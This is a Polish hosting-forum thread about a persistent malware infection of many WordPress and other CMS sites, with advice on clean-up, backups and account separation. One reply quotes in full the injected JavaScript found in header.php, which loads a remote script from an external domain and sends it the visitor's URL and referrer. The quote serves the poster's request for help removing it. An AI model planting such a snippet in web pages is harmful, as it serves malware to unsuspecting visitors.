Potężna infekcja na serwerze

0

Witajcie,

Od bodajże 3 miesięcy borykamy się z bardzo denerwującą infekcją na serwerze, gdzie hostujemy wiele aplikacji CMS (17x WordPress, 4x PrestaShop, 3x Joomla, 1x Kohana PHP Framework, 2x autorski CMS i 2x pure html+css). Wirus dodaje kod do plików .php (przede wszystkim indexów, ale często też innych plików, również w podkatalogach), dodaje swoje pliki php o różnych nazwach, zmienia pliki szablonów (najczęściej header.php) dodając w nagłówkach przed </head> link do szkodliwych skryptów, powoduje to wpisanie stron na blacklistę Google i wyświetlanie się alertów o szkodliwej zawartości, dodaje również swoje pliki weryfikacyjne do usług Google - Search Console, Analytics itd. oraz podmienia sitemapy i robots, co powoduje sfałszowane indeksowanie przez wyszukiwarki - jako tytuł i opis pokazywany jest ciąg chińskich znaków, a pod tytułem w wyszukiwarce dodany jest dopisek "Ta witryna mogła paść ofiarą ataku hackerów".

Pomimo naszych usilnych starań sytuacja cały czas się powtarza - już gdy zobaczyliśmy pierwsze objawy podjęliśmy działania, które okazały się bardzo krótkoterminowe i po jakimś czasie okazały się bezskuteczne. Mianowicie:

  • przeskanowaliśmy cały serwer i usunęliśmy wykryte przez antywirusa linuxpl szkodliwe fragmenty kodu
  • przeskanowaliśmy komputery z których się łączyliśmy i usunęliśmy malware (przy pomocy Windows Defender i Malwarebytes Anti-Malware)
  • wszystkie systemy CMS, wtyczki oraz motywy zostały zaktualizowane do najnowszych wersji
  • hasła do cmsów, baz danych oraz ftp zostały zmienione
  • ręcznie usuwaliśmy złośliwy kod i podejrzane pliki, co zajęło naprawdę masę czasu
  • skanowaliśmy każdą domenę skanerem od Sucuri i eliminowaliśmy problemy (w przypadku malware - złośliwy kod, w przypadku pozostania na blackliście dodanie do Search Console i wnioskowanie o przeindeksowanie, oczywiście prośby były pozytywnie rozpatrzone i strony zostały zdjęte z czarnej listy - do czasu ponownego zaindeksowania po ponownym zainfekowaniu)

Czynności te powtarzamy regularnie co jakiś czas (około 2 tygodnie), jak widać długoterminowo nie przynosi to żadnych efektów i infekcja powraca (a właściwie cały czas gdzieś jest). Nie możemy zlokalizować źródła tych problemów, nie mamy już nawet pomysłu na podjęcie dalszych działań.
Serwer to WPRO na LinuxPL.com, niestety support nie może pomóc nam w jakiś bardziej intensywny sposób niż standardowy.

W związku z tą sytuacją piszemy tego posta - jakie pomysły na jak najmniej inwazyjne i czasochłonne rozwiązanie tego kłopotu proponujecie? Na serwerze hostowane są oprócz naszych serwisów również strony klientów i nie możemy w kółko tylko zwalczać objawów, lecz musimy finalnie wyeliminować przyczyny.

Czy macie jakieś sugestie?

Pozdrawiamy serdecznie

0

nie mieliście backupu?

0

Mieliśmy backupy z niektórych domen, LinuxPL też robił automatyczne - była to w sumie pierwsza czynność którą zrobiliśmy, niestety okazało się, że niczego to nie zmieniło i dalej wirus się replikował.

0

pytanie czy to była kopia przyrostowa czy czysta kopia przechowywana na innym nośniku, bo z tego co piszesz mam wrażenie "że coś tam niby było, ale w sumie nie wiadomo co"
i to się niestety zemściło

0

Była to niekompletna kopia przyrostowa, niestety nikt z moich poprzedników nie przewidział takiej sytuacji, a ja teraz muszę robić porządek z tym całym bałaganem :(

0

1. Ta infekcja nawraca, bo nie umiecie jej się do końca pozbyć czy po prostu jesteście dziurawi i regularnie można do was wbijać i wrzucać wam wirusy?
2. To serwer na systemie GNU Linux?
3. Po wyleczeniu części plików, jeżeli wirus uporczywie ponownie je infekuje moglibyście zapuścić skrypcik ala watcher na katalogi z tymi plikami korzystając z narzędzi typu auditctl / inotify?

0

Trzeba przejrzeć access logi.

0

Sprawdźcie czy nie ma w użytkownikach wordpress jakiegoś szkodliwego. Kiedyś też z tym walczyłem i kompletne wyczyszczenie wszystkiego pomogło i sytuacja się już nie powtórzyła

0

To nie wina samego serwera a skryptów/CMS-ow.

Powiem tak: kiedyś dałbym sobie rękę uciąć za Joomla i broniłem ją jak PiS krzyża przed określeniami "dziurawa" itd.
Teraz po prostu nienawidzę tego CMS-a, a mam na nim podstawionych multum stron (swoich i komercyjnych). Z jednej strony jej modułowość to zbawienie, z drugiej przekleństwo. Co ciekawe, często używam płatnych rozwiązań, bo w domyśle "co płatne to bezpieczniejsze". A guzik.
Co chwilę ataki, dziury itd. Ja już mam serdecznie dość.
Zaznaczam, że nie wiem jak jest na innych np. WordPress, Drupal.

0

piszesz, że pozmienialiście hasła - a sprawdziliście, czy jakiś nowy user się nie pojawił z prawami roota

2

Jak infekuje wam to wszystko na raz to ja bym zrobił separację kont użytkowników i każdą aplikację na osobnym koncie postawił, do tego oddzielne pule php-fpm, bo przyczyną jest najprawdopodobniej jakiś 0day lub pominięty fragment zainfekowanego skryptu lub wpisu w bazie danych, który potem jest evalowany (1 wystarczy, żeby się rozpleniło), no ale skoro tak jest to niech zainfekuje pojedyncze strony, a nie że wam skanuje cały serwer i wszystko infekuje jak leci, no i potem jeśli coś na nowo zostanie zainfekowane to taka separacja pozwoli na wykrycie bezpośredniego winowajcy. Dodatkowo sprawdziłbym również czy hasła do kont użytkowników i baz danych nie są jakieś proste, a najlepiej zmienił je na losowe, raz u znajomego czyściłem infekcję i cały czas wracało, okazało się, że miał ustawione hasło do admina WordPress "jordan23" i boty sprawdzały najpopularniejsze hasła i mu non stop wgrywały zainfekowane pluginy.

1

Kiedyś coś takiego widziałem. Źródłem infekcji były windowsy webmasterów (podpietę przez ftp, total commander). Czyli webmaster dostaje nowe hasło - zmienia wpis w total komanderze. Robal z windowsa jakoś to obczaja i wbija od nowa....

System od nowa, odciąć dostęp wszystkim i obserwować.

0

Hey wszystkim
Mam identyczną sytuację, mam 2 vpsy pierwszy na apache, drugi na ngix i moja sprawa wyglada identycznie, cos dokleja do moich WordPressów zlosliwy skrypt w pliku szablonu - header.php tuz przed koncem head. Robilem juz niemal wszystko, problem nie ustepuje, inne strony na innych skryptach są czyste.

Na pierwszym serwerze na apachu mialem z 8 wordpressow, w jednej chwili wszystkie zostaly zainfekowane wlasnie wyzej wymienionym zlosliwym skryptem. Postawilem nowy vps, wrzucilem nową stronę (nowa domena) z czystym wordpressem, wszystko ok, potem wrzucilem 5 wordpressow z tamtego apacha i po jakims czasie zarazily sie wszystkie strony w tym ta nowa z nową domeną, calkowicie czysta. Niewiem juz co jest grane, szukalem wszytkich rozwiazan od eval czy base64 decode, zmian hasel na serwerze, wordpressow, instalacji pluginow od skanowania (po 3!!!) i nadal po kilku godzinach dokleja skrypt do header, w stylu:

<script>var a='';setTimeout(1);function setCookie(a,b,c){var d=new Date;d.setTime(d.getTime()+60*c*60*1e3);var e="expires="+d.toUTCString();document.cookie=a+"="+b+"; "+e}function getCookie(a){for(var b=a+"=",c=document.cookie.split(";"),d=0;d<c.length;d++){for(var e=c[d];" "==e.charAt(0);)e=e.substring(1);if(0==e.indexOf(b))return e.substring(b.length,e.length)}return null}null==getCookie("__cfgoid")&&(setCookie("__cfgoid",1,1),1==getCookie("__cfgoid")&&(setCookie("__cfgoid",2,1),document.write('<script type="text/javascript" src="' + 'http://tcsogrodzenia.com/js/jquery.min.php' + '?key=b64' + '&utm_campaign=' + 'J18171' + '&utm_source=' + window.location.host + '&utm_medium=' + '&utm_content=' + window.location + '&utm_term=' + encodeURIComponent(((k=(function(){var keywords = '';var metas = document.getElementsByTagName('meta');if (metas) {for (var x=0,y=metas.length; x<y; x++) {if (metas[x].name.toLowerCase() == "keywords") {keywords += metas[x].content;}}}return keywords !== '' ? keywords : null;})())==null?(v=window.location.search.match(/utm_term=([^&]+)/))==null?(t=document.title)==null?'':t:v[1]:k)) + '&se_referrer=' + encodeURIComponent(document.referrer) + '"><' + '/script>')));</script>
 

gdzie strona http://tcsogrodzenia.com/js/jquery.min.php jest stroną losową z kilku innych wystepujących w tym zlosliwym skrypcie.

Proszę podajcie jakieś wskazówki, ja już jestem tym zmeczony bo rowniez męcze się z tym jakieś 3 miesiące...

0

Opcja - porzuć tonący statek i zbuduj nowy odpada?

0

jezeli postawisz czystą stronę na wordpressie na nowym serwerze to może jednak nie zlapie juz tej infekcji, ale jezeli postawisz czystą stronę na wordpress i potem dorzucisz strony zarazone tym czyms to ona tez oberwie.

Tu juz ogarnialem temat:
http://www.webhostingtalk.pl/topic/55292-wordpress-i-malware/

Koledze cos tam pomoglo, a robil to samo co ja, jestem naprawde zmeczony tym tematem juz, przeszukalem caly internet, nawet na forach joomla mimo ze mam tylko wordpressy i nadal nic.

Sprobuje jeszcze szybko postawic czyste wordpressy i zimportowac wpisy, strony itp. dodajac powoli pluginy. Dla mnie ta sprawa z infekcją jest ponad moje mozliwosci.

0
  1. Tworzysz dwóch oddzielnych użytkowników (zwykli użytkownicy), jeden do usług drugi od plików.
  2. Przegrywasz swoje pliki PHP, itd na serwer na pierwszym użytkowniku.
  3. Odbierasz prawo do zapisu grupom oraz reszcie.
  4. Odpalasz usługi na drugim użytkowniku (nie roocie)
  5. Cieszysz się statycznym stanem swoich stron.

Potem możesz zainstalować system IDS, i szukać skryptów zapisujących na dysk (a nie w bazie) oraz czyścić je po kolei. Jeżeli się na tym nie znasz to daj to komuś. Już sama konfiguracja wykrywania zapisu przez apacha, czy nginx'a będzie dla Ciebie problematyczna.

0

Dobra, u nas w firmie zdecydowaliśmy się na skorzystanie z usług firm/osób zewnętrznych, gdyż nie mamy już sił na samodzielny bój. Po zrobieniu krótkiego researchu wybrałem Pana Jacka Jagusiaka (http://jacekjagusiak.pl/usuwanie-wirusow-ze-stron-i-serwera/), dzisiaj pisałem z nim na ten temat niemalże cały dzień. Wydaje mi się, że jest to osoba, która poradzi sobie z tym w mgnieniu oka. Jego propozycja to uprzednie wykupienie serwera VPS, na który on będzie wrzucał oczyszczone już strony, odseparowane od sobą za pomocą uprawnień nadawanych w schemacie root-reseller-user, gdzie dla każdej strony będzie osobny user.

Pan Jacek w międzyczasie pokazał kilka prostych sposobów na łatwe odnalezienie dziur w popularnych systemach CMS np. Joomla, czym niejako udowodnił swoje umiejętności.

Mam teraz tylko pytanie: czy na pewno serwer VPS uciągnie 27 site-ów? Czy proponowalibyście jakieś inne rozwiązania? Na pewno nie chcemy używać już shared hostingu. Zdecydować się na VPS, serwer dedykowany czy chmurę? Jakie firmy polecacie w danym przypadku? Najważniejsze to zabezpieczenia, aby z poziomu żadnej strony nie można było w jakikolwiek sposób dokonywać zmian na innej. Ważne też jest to, aby zachować odpowiednią wydajność, no i nie chcemy zbytnio przeskakiwać pułapu cenowego (konto WPro na LinuxPL to 344.40 brutto / 12 m-cy). Jesteśmy w stanie wydać, powiedzmy na to, maksymalnie 500zł rocznie za sam hosting. Firma, którą zaproponował Pan Jacek to Biznes-Host (https://biznes-host.pl/?s=plany_vps2), ale potrzebna jest nam powierzchnia 100GB aby z zapasem to pomieścić.

0

Zbuduj nowy statek:
PHP-FPM
chroot
https://suhosin.org/stories/index.html
http://www.suphp.org/Home.html
https://serversforhackers.com/video/php-fpm-multiple-resource-pools
Jak się któryś zarazi to nie będzie siał po wszystkim, my tak zrobiliśmy i od przeszło pół roku spokój.
Główne ataki na wp przechodziły przez revslider i parę innych wtyczek.

1 użytkowników online, w tym zalogowanych: 0, gości: 1